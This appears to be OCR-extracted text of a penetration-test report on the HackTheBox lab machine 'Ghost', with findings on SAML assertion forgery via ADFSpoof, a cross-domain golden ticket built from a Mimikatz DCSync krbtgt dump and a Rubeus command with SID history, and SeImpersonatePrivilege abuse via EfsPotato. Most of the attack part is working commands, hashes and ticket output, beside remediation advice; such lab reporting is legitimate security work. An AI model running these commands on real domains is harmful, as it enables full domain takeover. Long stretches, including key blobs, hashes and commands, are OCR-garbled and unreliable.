nmGki/8CnZX23 jokne6ty LwoMRNDT iGPQZ4hGWNhoAGKT tBPRAHIS4rhKOeWNz2Z+s JeDw01 TAjb+VBFgqrI0cP/orotBBSAGaNUpw] LKRPX2n1 T1IVHSImMDX1 2C6YvbKCnS03WZBINXTyTaUmKtV8h+27 /NP+aChhILTcRetWvABg+ATG5F1 9GSUQXS4H +mX2 ZVEPD2 Z5YN2Uwq
eA2EAVWIDTCSN/pDrDBQZD2KMBSP4Q7 JPaUEPCRECEY 43se/DU+PEINBFTaStkEmG2+EQSRXNY P+KZPWeUP/ LXOIAGPNvyhzzobx520Aewl j fBiZEr thcAffnyPL6+2PdqHZML frkn+SY@JSMeR7pqORIgZy0sa692+X tIcHYUCpaP1ohwR JE/ 5ApRLY L3I FXR4ALF+rF+02N
17h@11xdmeShiRxHFp+9AZTz0HBagUKIACZYT SCIWRBX4nVOYSQBT F2FTNG+hOT@PCON+KIETFiR9KUE rB1zbpW+XEUCGIWCYbBOMc 4ndpolWbz LAN7WNDTY9UCHMF JFVMRGHL t2+Pe5f 1kax IVL FRCWUIkNeKY/3Y10IV3XhAGx6e22 IN3T/Tfo1/e1djOTbE7RPApTU Jyunk
LenWNHZr8Yhl aWTbucDISRAMXAT ZNCX7Wy 151 +Y 2 385+ T0bMBR2 DKe FXOTTV3w6gL 1rAYUpFOxwe 6CCTtxrsP3y59mn2 1by j3HUNOE IT3aA0S1 Jgt04K+S0eIx+Fa7dLxpTEDecoNs j6h jMdGsrozuol ZX /GBF1Sot rYNsW63MYSiZps6biipcBWkCsTqMiDaGaleNLvALupUN
GSBLcXNOgdKUOREAFKME@AN2 F Fd7n4R5TC76ZHIKGNXUCQIELY deqamwoTB4 FWOYMWA0ZqQyX628m3I7A2uZFB7 Y1 2myMeB2quQYTSEqXqV3QuT2u0nfALSnknLWUWRWIL4KT j2dv3N1i+8011M+F5gT1/6EINFChKOGK2 LOMEQIBQrTOLMN JBHLYAXKAXETEIST jPTUaby
8IpYjg6jc7DSIXNT+WIFB2wYc7b3nBzmulPk8LUFOb7QAL I 1i+nenOc2@f LrHZmT LPARB70hKA4/aRELTSKPSR2Yc/BbNiX8rID kvrD/Ka 8yDKdoQYHWBG+hU3dZMNpYseeFwSKmI9q+SWRZEYJCPMFOS+DyQA1 KxMi +hrmaZUsy eHy96c po20kAXN: F3T5dpHSXxLTH]
h33vnFPOy27Y+w9ahSRERLai=SokVSTLTCY7ahdyp/Wl TwGuALkybOTx8sdEDS/ 5p1A63+VwhuANy 2NHGT+YDXCKWA QuwY TAe JuMj bSaY4Rk1YLE5f 5J202k8X8TvcW6+m3V/ 2kKRGTSTLX5R7 113C4epaZPVCSNINgpBkpT 31X7Z2ZTyphQIR
TNy 1537/yK3mInTMwr2FIU3W7L/Kkvprl34Tp5fxC76/KRIVT/GKI1BLUBBINZBUDMT sYPpRAZhAKna4+chrBgb2M5Qjasqi t7kuPeCRSxKCemBhrdve 4 PCUGORUETZ795q JWPKe J0S88C7SAD I RIQSTCUGCAUSSWTGOVB4RNO3DE TS
bdXCEa74/YXiRTnF gc 7upx/ IpV+KCCEVPA 1QApFyVIGNiD IZBVWXONC2XTns 12 IF 8107+ qBxbZa+2 2 IxeqxgROdxc rq5Qy6 c+CC8Kg31 JMANdz xpkEAVAD, nbhd PPy GEtHZVE ENWoLWSSgdSWE /NGt 1/yRi 1 8hx FEVQWRFSmsKZTDzKS +OktW7Ra3VexSad9Te s FFbn
OEbbVKLISTRPW/VURDQaQF15Znw1 Q0 f v EWuWb JUT iwXeWnp1yQU/ quUMV/ L tyGR14eZuR0ZB d+uj F8/Q6YSAANR/ 0621 KBHX 22 F8AHOX12Nux0kPACE t CpWFW+aKEeiWi YDXpOZREWC n+ThOhDDY+P5Ye285p/ Nked07 eRMi 38101BU2nT30up IMGN NN 1EUA2 Z8gMcu/ +V
ekgfN+kuSyxi3b9pvUTiCatHgp6RRb70FdNKkyUabahxM5251dL /JoGuol Je261pgqpY21vZal5VKUCRUGVE2Ht gsONB5SN61NR1623H416UFmXc9k4WRZQBZ T Z5dFm+WPAHOWAUT zAdZP/ pdYv115TDOXSTAYASWITEZ CWKS6XASKIK hMIZXXEVEUZT SNGeVNC I FONMASIBEN
i9r/XjHDXnFZv60QpFY JUPiUmumE +DYXZ/AP/MPSDTCKLKVPyY ip7xDevBN/BESNEUSTXxm' > tkskey.txt

Both keys were converted to binary format and ADFSpoof forged a SAML assertion for
Administrator@ghost.htb:

(base) —(venu)—(parallels® kali-gnu-linux-2023)-(~//HTB_Boxes/retired/ghost/ADFSpoof]
L§ python3 MFSpoof.py -b TKSKey.bin DiMkey.bin —s ‘core.ghost.htb' saml2 \

endpoint ‘https://core.ghost.htb:8443/adfs/saml/postResponse’

—nameidformat ‘urn:oasis:names:tc:SAML:1.1:nameid-format;emailAddress® \

ameid ‘Administratoraghost.hth

pidentifier 'https://core.ghost.htb:8443° \

assertions 'Administratoraghost.htb Administrator'

A tool to for AD FS security tokens
Created by adoughsec

/home/parallels/Documents/HTB_Boxes/retired/ghost/ADFSpoof/SamlSigner.py:16: UserWarning: PKCS#1Z bundle could not be parsed as DER, falling back to parsing as BER. Please file an issue at https://github.c
om/pyca/cryptography/issues explaining how your PKCS#12 bundle was created. In the future, this may become an exception. Error details: ASN.1 parsing error: extra data

cert = pkcs12.load_key_and_certificates(data, password, default_backend())
/home/parallels/Documents/HTEB_Boxes/retired/ghost/ADFSpoof/ADFSpoof.py:96: Deprecationwarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future versien. Use timezone-aware obj
ects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).

now = datetime.utcnow()
PHNhbWxwOLI1c3BvbnN1 IHh tbG5ZOn J1cmé6b ZXMEGMEURFNTDOYL JAGCHIvAGY jb2wiIE1EPS I FMKMSRKIWIiBWZXzaW9uPSIyLIAITELZc3VISWS 2dGFudDOIM]AYNieuN10xMLQ TiBE. Lvbj0iaHROCHMEL
ygjhﬁandnhzuﬂLmhlennNDQzLZFanMthFthCQwh]Nﬂum\lztGQutZUHEthanthQInVyhjpvVXNp(zpuVWl'LzszszTQUlMOJIuMDpthSzZWSBDnVu:]E'LVZ'LmakaIJ!oESXdewyIH||thGSzPS]1zmnEhZFzaxﬂﬁhmFtZXMEdGMﬁUHFNTDnijAﬁVXNzZXJIaW
9uTj50dHRWO18vY29yZ55naG92dC50dGTvYWRMCY927X I2aN L cyd0c jxzYW1scDpT WO LNOYXR1CON nVybjpvYXNpczpuYWilczp@YzpTQUIMOjTuMDpzdGFOdXMEU3VY2Vzcy TvP juvc2F tbHABU3RhdHVZP
JxEc:ulcnnpuzngeclshnnglnvw]pvvxupczpuvwnczpuvzpmu:mo;1um:phc:mlcanbz411ElEPs.lFQk1suvd61chmzulnc:anuanIJIm;vmnvmnumcmmamcuMDAumngvayczlvh;u:nmwr;Assxuzuwvymnadmuygju:am.muuhaum.mmn
9hZ6ZzL3NLcnZpY2VzL3Ry 91c3N1ZX 225hdHVyZSB: pkcz0iaHROCDOVLId3dy53My5ycme M AubC InIyT NpZ2517ELu 16Y ZXRob2QgQWxnb3pdGh tPS JodHRwOi8vd
2d3LnczLmdyZyByMDAXL zEwl 3htbC11eGMLY ZEObiMi Lz 48ZHMEU2 1 nbmF BdX T TWV0aGOKIEFsZ29yaXRobTo1aHROcDovL3d3dy 53Ny 5vcme v AuNSSWNCS 4 bbixke 2 LnL W1y cml jenNhL XNoYTTING TvPj xkc zpSZWZ LemVuY2UgVVI IPSTiX0 INULFXR1 T2 BPGRZOTRy
Y PGRZOTRYYW. y 0aGe9Imhed| y93d3cudzMub3nl 1SZHNPZYN1bnZ1bGIwWZWQtc2lnbmFedXJ1I18%2BPGRZOLRyY YW! y mleace9 y93d3cudzMub3 InLzIwMDEVMTAVEGLSLWVAYY1 M
TRUTy TvP jun ZHNEVH ThbnNinb3 T c 74 8ZHWGRGLnZXNOTUVBaGIK TEF 729 yaXRobT04 aHRBCDov 3d3dy 5 3My SwemeyM AWNSBUNCS AbW:cL brbjc2 hhM U2 T 8%2BPGR20kRpZ2V 2d FZhbHVL PkiJzS1N1VDNFTnVNMNT 2268y bXEZenFKb2x4UEXWNOB1CXRADGE ac2pkeNBY
PCOkczpEaWd L c3RWYWX1ZT48LIRZ01 J1ZmVy ZW5 JZT48L2RZ0INpZ251ZE1uZm8%2BPGRZOINPZ2 ShdHVyZVZhbHV1PNB1T1Z IdUTHTXdNna1IKcTILVGRge FpXaluxN3BgdkwvNy9Wa1pQZ1YySVZmcnA10EUzZc EThNWTONUWYYVhGMHIEQ3ZGdDIhUFdVR2ZrQks Jh@hab2h
WT INVUXY3d3NHYZI3R3KZCOS 3Wn Lwll kK LXMTh6V1dBOW1xNkZ YRTBLSWRaVENGHTB tV2Z jRmZMQN1 zVkZ@TmYyMVZwdHVRWC t1SVVKanVaaXR3UWLIYNF iYkkveDdFQnc1LORaUGZTTThWK3ppbkRNN@OOLOVRQNI ZTmY4bHPMHTUOVE JTTNVU1TDY3bm9neDRZeWNXRE4OCGSS
TGpRaG4vQzU2WVFrc FFEM2ROVWApUILOWLVr c1ZNQ1 TyM3FYMGtHT1 JtUTANK11GSVox TmRUS zBCeWs 3cmNINHIVVMNFNXRwWY§ 22Q1V1QKZNSWZLVKhGMURHV2 NRUGXS TWWxMk t 1 ZHCXTSs5RZQSQORVL ZBNUXTKeUpKSndrMELFbUTyb@xoNCE TNZhUNS9aS3d4RENRREKON
3pVMHLDRHhGWMY2Ym@VNWCZRDA2eXJ0SG1qQ; 2p1Tk5HYUD JQ1BXTWS 1171M4d1pzTDdsSU9ILeHNHSHAINmhFamowlizdSLATNC1Ey bEFpbF1XK1BEWS T 3dERMZCOWT zdpV2 x FKOPHCH LUUhUOW IGNNBOTGF 1 ZG twa i9waGpGUF FGQ2hKMnhHTH
KxTnNoQy91U3IRUTMOSYUEvaHFpULpkKzhleER1eHhYaED 4cz JQRKIEDHRRTUFPSZhVNK11cG1TCHNMYULINFQSNWXhSUFSYXJ0QXAZR3hLcmux bmo zdmNUb 2kxK3dKR3 Y rUL RMR1U3YLNwT 2 LY 2ZQUUUWMWZ 23 VBWd FNY YWVZmIyWUcwRHAVPTwyZHMGU2 1 nbmF 8dX TLVmF
SdWUX2BPGRz 0kt LelluZmB%2BPGRZ01 g 1MDLEYXRhP jxkczpYNTASQ2Vy dG1maWNhdGUX2BTUT IRTVQQONBCz Zn0Xd Q) 15Y1 JhNUBRK: JQUSCZ2 txaGtpRz 1 3MEJBUXNGQURBAU1Td3dL 211 EVL FRREVS Tk JSRVPUSUZOCFoyNXBibWNnTFNCbY.
pXUmX SbUYWYVC5dUX LZG9 MO 4wTG1oMFLaQWdGd 285 TkRBMK 1UZ3h0akUZTVRCYUdBOHLNVEEWTURVek 1ERTINVGNATUZYdOxqRXNNQ2 9HQT FVRUF 4 TWpRVVIHVXLCVGFXZHVhY ZVuSUMWZ1p tVmt aWEp 0ZEd sdm JpNWShRZ1 6ZEM1b 2RHSXdNZO L p TUEWRONT cUATSWIZRFF
FQKFRVUFBNELDRHABA2dnSUtBbA1DQVFDKOFBTALMRXFODFL b3 E1MAWxQnZHUWAEeVhUDL13VFI6c0s105T6RTF6Z0dL T2 1ONWS10EZrK2RhSIBXTFFhallg3bORIYWVUdyIRYXNCZ 2VXZGVEWW] EN2960E T SYUE xeWdZQn J6bTRIVZd6Z 323 cks SRmU1S jUvaDZX0We 3ND Lo
NUJJCVBRT3AwbDZzMX IndW1PY2NONHL1Vzk1RVAOTDBE2dVFYdkMrS1EORDRNTVh10G1 DR3BAAHZ ITDhPbE50SnYIRZNPUTLTS2 hSYWumweX1 KZUSoRZRA 22x yWk pGMT hwOXdobkU2b2 1n721BNméyc2hEay90d LRZaml pNWU3L 21 VIRLa3 IZTUNWYUTVTms 3bXhkTVpOUWFiN
1NtZk tywk4cFIEN2RWZZVEekl5RDAVelMSQ0hMQzZ4TnpxL 1owaHYhT2FKaE9TZEpTZ2FOL2 QURELYt5CFe5S) IREVUIXREIRQLIWAEIAU2COVKVHZ1ASan1 JdERIMmI6cORMaL Iks jhFMXVOS1dOL2 tRQTErd11ST2RKTHFVM2 IwSXNDAmXBOE
V2WVCuVDFSc3U3N280eCO3MGAXY JBVUVBFSXo3e k3M2T00TZ3cVFOMORUEWZ LT ZNSWFhmikS jdmFqNUtDUDIUAEACKO tzaEY5cGt JUHhXNOYY Z010N1FqeGpSSHNBMI 1WOGPGh 2 LnTEQ3a1BWaWNnSVVkc2dpRKhUWVFGMTRANT JKdFIxVIVpTi to0TVKa3VIRXFRVORCSER
ZUEVCQ'LerVpIKIVSVCihQBZWFgrQnBQdDNRRZpZTGVKVThDRnNNdGMUVZNMXZMZGNWUnNVh'LJnleIthJSkQPRVZFQZESdz(vEVZuaGFsQBS[EDFFLZwﬂS1FJREFRQUJNQTEHQINXRlNJYjNEUUV[QJdVQUEBSUNBUUFXWtaVzNjRENC'lzZkVDNSmezTZNlExAxTFZL
VKKrOXBGeCOiY1dwV2pTZGg2YMSTFRA2EQIRLLVAGN1V1BaMIIGNEC INYCWha0Tg5QVe10EkVM211Z1VSS1dLSVBMUOXrcCtLULpY TUprdDdrMS9LWHREYXNPUWSWT nNNWUY VA0 xCSW1NQO110XV1amSDbUZPdOnQLOL CaGdZUU11aDQ2Q
inWFd!)MZleh1(1JIRHEVLZMVLIQGSthhWSUR]hauSlethemZTREJw\lktxd12Mc[)(LQZdiTXIu]UWQerRWJQlNTgkauﬂQExlUGRSUXAlMFdKMSgDTk'LhZWS251deTJHNuladeMEVXQBthllKVEZleSTZEXLEkINXJleZKﬂGxJRBCMlevRVN[)hD'LDSDFFZI)
RkelVKVVhmMU1CQ11QM1gSMmLheHpVRTB1cEdkL2FRbzZ TVHLST2xXdUF3cmt UMLZIRUXLVpLT2c4KIRseTk3Z31asw d05SOHZYNDR j ipPdk J6UE tBQVLoMTROTA2ZUF LORXTWSPMESL Ty t3MURCS3cINESCQ244220hek YTUHVGZLYPHHLOSEZMNG
4TXB3YXA2aWV2NmezQLhDUORIZNFUVU! 11LZ3EycWSOVIL JOVWERKUE FURVVYD JRSNX130Tk3cnRiR25aRVES D FmMUVTWCO 0Yn FCUDR2b2d 20WE sdGFVRUVIWG L TK2nQCHabWy4Q0 5yQkQX CTAHS 1 81MGYIWWXDMENTd jh3
Nk1zOHRNME9ydnBwR115V3J0UHd1dkV2Zm1 Sa3dCTEC3RU1BbkxTdz@9PCOke zpYNTASO2VydGmaliNhdGU%2BPCI ke zpYNTASRGFOYT4SL 2Rz0kt L eUluZnB%2BPCIkc zpTaWduYXR1cmU%2BPFN1Ymp L Y3Q%2BPEShbIV IRCBGb3 I £YXQIInVyb jpvYXNpczpuYWilczpY
ZpTQUIMOFEUNTpuUYW11awQt ZmgybwF 00mV YWl sQWRkemV zcy I%2BQWRt aW5pc3RyYXRvCkBnaG9zdC50dGI8LOShbWV IRD48U3ViamV jdENvbmZpcm1hdGlvbiBNZXRODZQIINVyb jpyYXNpczpuYW1lczp@YzpTQUIMOFTUMDp JbTpizwFy ZXTiPjxTdWIqZWNOQ29uZmly
BWFOaWIURGFOYSBODIRPDKIYQWZOZXIOT  TwM Y tMDY LT JUMT c6MZ UM cuMDAWW1TgUnV jaXBpZWS@PS JodHRwc zovL2NvemUuZ2hy c3QuaHR1i0FgONDMY YWRMCY 92 YW1s L 3BvC3RSZXNWD252ZS TwP jwvU3VianV jdENVDNZpcmlhdGLvb 48LIN1Ymp1Y3Q%2BPENVEMR
pdGLybnMgTmI00mYmb3 J1 PSTyMDI2L TA2LTEyVDEI0 M0 131 AwMFoi 1E5VAESuT3 IBZnR1 0 1M AyNi0uNi0xM1Qx0DozMDayNy4wMDBaT j480XVkaWVuY2VSZXNGcml jdG1vb j48QXVkaWVuY2U%2BaHROCHME Ly9 b3 T1Lmdob3NOLmhOY jo4NDQz PCOBAWRpZWS 2T
AELlFlzG‘L'LhmM'LumvzdaJpvaRphznxzspcgnhzﬁkaxkphzszP;xadakyawndeTdGFnzerhnqxzsqumawﬁp(Jnyv Rvc| 0dGIgQWRtaWspc3Ry YXRvCjwvQXROcm1idXR1U3RhdGYTZW50P ] xBdXRob1N@YXR1bWVudCBBdXRobk luc3RhbnQ9 T j TwMiYTMDY
tMTIUMTCEMZAGM I YUNTAWW1 TU2VZze 21vbK1uZGV4PS IFOk1SUVAGT 1480 GFzc1J1Z351cmb6b2FzaXMEbmFtZXMEdGMEUBFNTDOYL JAGYWMEY2xhe 3N czpQYXNZzd29yZ FBY b3R1YIR1ZFRY VW5 Zc6IydDWvQXVRaG5Db250
zxhaQthczuszmzchgndxknhkuvhmﬂemyﬂ:zchgsdxnnlﬂuﬂvmhwvndmsmn(zwdmvhJnsuNthxwoulczauhnupg%amao

The forged assertion was injected via Burp Suite into the SAMLResponse POST field:
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mparer Logger

listory Match and rep

Ghost Core loaded as Administrator, revealing the corp.ghost.htb domain and an MSSQL query
interface:
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Joe Thompson

Ghost Config Panel

Database Debug

Currently configured databases:
« MSSQL (domain: ghost.htb)
« MSSQL {domain:carp.ghost.htb

The databases are correctly linked.

Query Debugger
(Only supported for the main database - sorry!)

SQL: Execute

Ghost
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4. Cross-Domain Golden Ticket with SID History Injection
Achieves Full ghost.htb Domain Compromise - High

CWE CWE-284 - Improper Access Control
CVSS 3.1 8.0 / CVSS:3.1/AV:N/AC:H/PR:H/UIL:N/S:C/C:H/T:H/A:H

The bidirectional trust between and combined with
SYSTEM-level access to the corp domain enabled a cross-domain golden ticket

attack. Mimikatz DCSync recovered the AES256 hash for corp.ghost.htb.
Rubeus forged a golden ticket for (RIERE EIt s e ey ith the
Sl g o] g = Ne[aal g E e[ (eI oY IBN( S - 1 -5-21-4084500788-938703357-3654145966-519 )
embedded in the ticket's SID history field. When the ghost.htb domain controller
evaluated the ticket, it honoured the SID history and treated the bearer as a
member of ghost.htb Enterprise Admins, granting full domain control.

Root Cause

Full compromise of the ghost.htb primary domain. The forged ticket provided
Impact direct read access to and the root flag on the Administrator
desktop.

* corp.ghost.htb < ghost.htb — bidirectional trust without SID filtering
* corp.ghost.htb krbtgt — DCSync exposed AES256 hash for golden ticket
forgery

Affected
Component

Enable SID filtering (also known as quarantine) on the trust from corp.ghost.htb to
ghost.htb. SID filtering prevents tickets issued by corp.ghost.htb from being
evaluated as members of ghost.htb groups — including via SID history. This is the
principal control that prevents cross-domain golden ticket attacks over external

trusts.
Remediation

Rotate the krbtgt account password for both domains immediately and again
within 10 hours to invalidate all existing Kerberos tickets. Each domain requires
two rotations to fully invalidate tickets signed with the previous key. Treat both
domains as fully compromised and audit all privileged accounts for unauthorised
membership or configuration changes.

* https://adsecurity.org/?p=1640
References * https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/
understand-sid-filtering

Finding Evidence

PowerView confirmed the bidirectional trust:
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P5S C:\Windows\ServiceProfiles\MSSOLSERVER\Documents> get-domaintrust
get-domaintrust

Sourcelame : corp.ghost.htb
TargetName : ghost.htb

TrustType : WINDOWS_ACTIVE DIRECTORY
TrustAttributes : o

TrustDirection :|Eidirectiun31|
WhenCreated : 2/1/20824 2:33:33 AM
WhenChanged : 6/20/2026 5:29:27 PM

Mimikatz DCSync recovered the corp.ghost.htb krbtgt AES256 hash:

PS C:\Windows\ServiceProfiles\MSSQLSERVER\Documents> .\mimikatz.exe 'lsadump::dcsync /user:krbtgt@corp.ghost.htb’ exit
.\mimikatz.exe 'lsadump::dcsync /user:krbtgt@corp.ghost.htb' exit

S mimikatz 2.2.@ (x64) #19041 Sep 19 2022 17:44:08

=4 #. "A La Vie, A L'Amour" - (oe.eo)

# / \ ## /*%* Benjamin DELPY “gentilkiwi® ( benjaming@gentilkiwi.com )

o\ /o > https://blog.gentilkiwi.com/mimikatz

THE v E Vincent LE TOUX ( wvincent.letoux@gmail.com )
= > https://pingcastle.com / https://mysmartlogon.com **#%/

mimikatz(commandline) # lsadump::dcsync Juser:krbtgt@corp.ghost.htb
[DC] 'corp.ghost.htb' will be the domain

[DC] °PRIMARY.corp.ghost.htb’' will be the DC server

[DC] "krbtgt@corp.ghost.htb' will be the user account

[rpc] Service : ldap

[rpc] AuthnSvec : G55_NEGOTIATE (9)

Object RDN : krbtgt
*% SAM ACCOUNT #**

SAM Username : krbtgt

Account Type : 3p000000 ( USER_OBIECT )

User Account Control : 00080202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration

Password last change : 1/31/2024 7:34:081 PM

Object Security ID : 5-1-5-21-2034262909-2733679486-179904498-502
Object Relative ID : 502
Credentials:

Hash NTLM: 69eb46aa347a8c68edb99bel725403ab
ntlm- B: 69eb46aa3&7a8c68edb99be2725403ab
Im - B: fceff261045c75c4d7f6895de975f6¢ch

Supplemental Credentials:
# Primary:NTLM-Strong-NTOWF *
Random Value : 4acd753922f1e79069fd95d67874bekc

# Primary:Kerberos-Newer-Keys *
Default Salt : CORP.GHOST.HTBkrbtgt
Default Iterations : 4096

Credentials
aes256_hmac (4096) :|baeb?QFSSBSSBFQdﬁlbcbbesccae8ld9BCFBSZISBQSF?ZIBFFdIFBGBBga?SEBd
aes128_hmac (4896) : eal8/11cradoYteetdcierba/obcad23s
des_cbc_md5s (4096) : b3e@70@2511@celf

# Primary:Kerberos *
Default Salt : CORP.GHOST.HTBkrbtgt
Credentials
des_chc_md5 : b3ed7@025110celf

# Packages *
NTLM-Strong-NTOWF

Rubeus forged and injected the golden ticket with the ghost.htb Enterprise Admins SID in the SID
history field:
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e
PS C:\Windows\ServiceProfiles\MSSQLSERVER\Documents> .\Rubeus.exe golden /aes256:b@eb79f35055af9d61bcbbe8ccac81d98cf63215045F7216ffd1f8e009a75¢e8d /ldap /user:Administrator /sids:S-1-5-21-408
4580788-938703357-3654145966-519 /ptt

.\Rubeus.exe golden /aes256:bBeb79f35055af9d61bcbbe8ccae81d98cf63215045f7216Ffd1f8e@B9a75e8d /ldap /user:Administrator /sids:S-1-5-21-4084500788-938703357-3654145966-519 /ptt

v2.3.3
[*] Action: Build TGT

[*] Trying to query LDAP using LDAPS for user information on domain controller PRIMARY.corp.ghost.htb

[X] Error binding to LDAP server: The LDAP server is unavailable.

[!] LDAPS failed, retrying with plaintext LDAP.

[*] Searching path 'LDAP://PRIMARY.corp.ghost.htb/DC=corp,DC=ghost,DC=htb’ for '(samaccountname=Administrator)’

[*] Retrieving group and domain policy information over LDAP from domain controller PRIMARY.corp.ghost.htb

[*] Searching path 'LDAP://PRIMARY.corp.ghost.htb/DC=corp,DC=ghost,DC=htb' for '(|(distinguishedname=CN=Group Policy Creater Owners,CN=Users,DC=corp,DC=ghost,DC=htb)(distinguishedname=CN=Dom
ain Admins,CN=Users,DC=corp,DC=ghost,DC=htb)(distinguishedname=CN=Administrators,CN=Builtin,DC=corp,DC=ghost,DC=htb)(objectsid=5-1-5-21-2034262909-2733679486-179904498-513 ) (name={3182F340-01
6D-11D2-945F-00CO4FBIB4F}))"

[*] Attempting to mount: \\primary.corp.ghost.htb\SYSVOL

[*] \\primary.corp.ghost.htb\SYSVOL successfully mounted

[*] Attempting to unmount: \\primary.corp.ghost.htb\SYSvOL

[*] \\primary.corp.ghost.htb\SYSVOL successfully unmounted

[*] Retrieving netbios name information over LDAP from domain controller PRIMARY.corp.ghost.htb

[*] Searching path °LDAP://PRIMARY.corp.ghost.htb/CN=Configuration,DC=ghost,DC=htb" for '(&(netbiosname=*)(dnsroot=corp.ghest.htb))"

[*] Building PAC

[*] Domain : CORP.GHOST.HTB (GHOST-CORP)

[*] SID : 5-1-5-21-2034262909-2733679486-179904498

[*] Userld : 500

[*] Groups : 544,512,520,513

[*] ExtraSIDs : $-1-5-21-4084500788-938703357-3654145966-519

[*] ServiceKey : BOEB79F35055AF9D61BCBBESCCAES1DIBCF63215045F7216FFD1FSEQQIATSESD
[*] ServiceKeyType : KERB_CHECKSUM HMAC_SHA1 96_AES256

[*] KDCKey : BREB7OF 1BCBEESCCAES1D98CF63215045F7216FFD1FEE00IATSESD
[*] KDCKeyType : KERB_CHECKSUM HMAC_SHA1 96 AES256

[*1 Service : krbtgt

[*]1 Target : corp.ghost.htb

[*] Generating EncTicketPart

[*] Signing PAC

[*] Encrypting EncTicketPart

[*] Generating Ticket
KERR_CRED.

[*]
[#]|Forged a TGT for ‘Adninistratoracerp.ghost.htb’ |

[*] AuthTime : 6/20/2026 2:42:32 PM
[*] StartTime : 6/20/2026 2:42:32 PM
[*] EndTime : 6/21/2026 12:42:32 AM
[*] RenewTill : 6/27/2026 2:42:32 PM

[*] bases4(ticket.kirbi):

doIF1TCCEdGgAWT g TEujCCBL MIIErgADAGEF ULAUROhPULQUSFRCOiMW
IaADAZECOROWGESGa3J1id6d0GwS b3 JwLmdob3NOLmhoYqoCEGAWEgRq0AMCARKhAWI EABKCEFWEEERY
HS/NTa9wuUGb8YC93HaFdwil25 FNEMPEBOSTPH7803cKksZxKa7q7CrnUMs XPDDUE] 55CrZEFMIMNEDM
LnEYmpYcQNrcxrdMIvGEtFvR+1IkpuloRoa+h800GcrpIECRPXXY fSc8h+pyqwhbGY+22+UUGECh7tVE
w16AqVWRQAHFWMI 5 zwES TUpPQVEODQS0+InCI3VmNc df6MIEBTpU+ECNF JAUCWHFThFobMx2XGFtWeQde
at1XiMh6ghZe/ErEHIKWSL7516CT0uL0]sIx4qu3omlwzN3rvVnCeubjbChxKKVNpIHZAtix/NySyqry
4A09HBEMWahAL LRGUTeQbSLDMKUSZ6UG7 2 G001y Zhskt4IxXakxkG3mmYyX5X/qoxkXEBTGE+ysPSek
2rhzS4TGzIVDWhXzrF2y2qEnl/bR3Sx+B2MGFZ162nCnlw+ JICF95ixwgxGodzb FUQBwLMK ji37BFIPsA
6/8/BIBn38FpvFEHPO0yYBha7sApbxHUOCMIPrLZ89npAEIDUSodo2 PXhutrgzNLp21bvZYbBane7DEM
e/GgcVusKUtoSoVCTaIvDQLIR10EDUX7 zqHP1pDH juQuuHAioE51X905haHKF7 covsulwZ/PtYnVWWa7l
1zHjEVONMEOU9 S8z fZW+drt 2 16DS +x 192y /c4¥1 gIWGhrKzdQqOznkt@@pbyajj2nzh¥Nx1DHxx5034z
thRh5hwpS5FzDduhcgqcl r559v+RelUABWIpEPUVaDXASVT+qB+nCB1Lo7Ky7yBFOFz 1 Zvv rugW33wslz
rXT2A0cNZZEn9wniafriGo3tos3dc+TeWiyx1DTTxHeNHbmiC47 /xqbHxNG j 1 FWOF68ATOCOULYVD/G
gAbHYLeez51eydgl bAOXRGUL S Z0etRENjujqBOis8h1 rNBgEKyKhuTmLDI1eKZny99pa7pdeBdFZ200
Skx/std/x94tdi0XVRUqOs Jzktx3aMVMBs pZWHRNTBDfeQ223rabwn3XYwl2gy1E5UQFsTTtRKX0U4HA
Lic7bRFx5108V/vq2et2maWboOKKCOkmzHHHVWomE owXWz88Wc Vv fs37XInCDOwT e/ 7nz9dRO1O2750u
pmibf ImPITielgfl 113Wc/w+rofCkfIy14LDv6hPaniyCpy9ntZcl9azhh2nGy
BQninrPbuYKZqZEjnsi8T3784FchZckCkq97LyW/6IF/ELEqzV73HboXStnHPXiTxxn2z/A52DIFCYup
$J50DVHO1HV209IkgmMrg2mWE3KOUZI+rdk/4n6patTfBiawzPdbfleoCMkGuI1wlqOauxzUHKm7LikS
1zovy3V4BWWIBODMLB4NVWDUBNCFSVONAW3MOib7@y8fM3acx/700tk+STMRINI jxW8 26 FHWINVAKLU
U61v6V9 // pwI3HQLYmx1iPMDe tNyq8EKG7aEKYN9 Imz0j g 2EFMIIEAZADAGEADOHSBIH2 fYHZMIHWOIHL
MIHQMIHROCSWKaADAZESOSTEIMSNESrvNNw/PNOTWA4ZrOCE+ZBFM+/4dP3YDXK2E100RABDKNPULAY
ROhPU1QUSFRCohoWGKADAZEBOREWDX SNQWRtaWS pe 3Ry YXRvC OMHAWUAQDAAAKQRGASYMDI 2ZMDYyMDIx
NDIzMLqLERgZPMjAyN jAZM ] AyMTQyMz JaphEYDZ Il YwN j TxMDcOMjMyWqcRGASYMDT 2MDY yNZIxNDIZ
MLgoEBS0Q09SUCSHSESTVCSIVEKPIZAhoAMCAQKRG jAYGWZ rem30Z3QbDmNy cnAuZ2hv c3QuaHRi

[+] Ticket successfully imported!

The root flag was read directly from DCO1.ghost.htb via the injected ticket:

PS C:\winduws\ServicePr0files\HSSQLSERVER\Documents)ldir \\dcﬂl.ghust.hth\c$\Users\Administratur\Desktnp|
dir \\dc@1i.ghost.htb\c$\Users\Administrator\Desktop

Directory: \\dcdl.ghost.htb\c$\Users\Administrator\Desktop

Mode LastWriteTime Length Name

—a— 6/20/2026 10:17 AM

Ps C:\windows\SeruicePrafiles\MSSQLSERVER\Dccumentsb|type \\dc@1.ghost.htb\c$\Users\Administrator\Desktop\root.txt
ministrator\Desktop\Toot.TAt

2df5246805269619%aaeed 86bcf99e
PS C:\Windows\ServiceProfiles\MSSOLSERVER\Documents> |
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5. SeImpersonatePrivilege on MSSQL Service Account
Enables Privilege Escalation to SYSTEM via EfsPotato - High

CWE CWE-269 - Improper Privilege Management
CVSS 3.1 7.8 / CVSS:3.1/AV:L/AC:L/PR:L/UL:N/S:U/C:H/I:H/A:H

IRt service\mssqlserver JEId«olSll@oIsl PRIMARY . corp. ghost . htb I SeImpersol

IEISISIERLE. This privilege allows a process to impersonate another user's
security context after obtaining an authentication token. EfsPotato abuses the
Windows Encrypting File System RPC interface to coerce SYSTEM-level
authentication to a local named pipe, which the privileged process can
impersonate to execute arbitrary commands as (ISR eII=]-

Full SYSTEM-level command execution on (NN e aaady. This provided
Impact the DCSync capability required to dump the corp.ghost.htb krbtgt hash and forge

the cross-domain golden ticket in Finding 11.

Root Cause
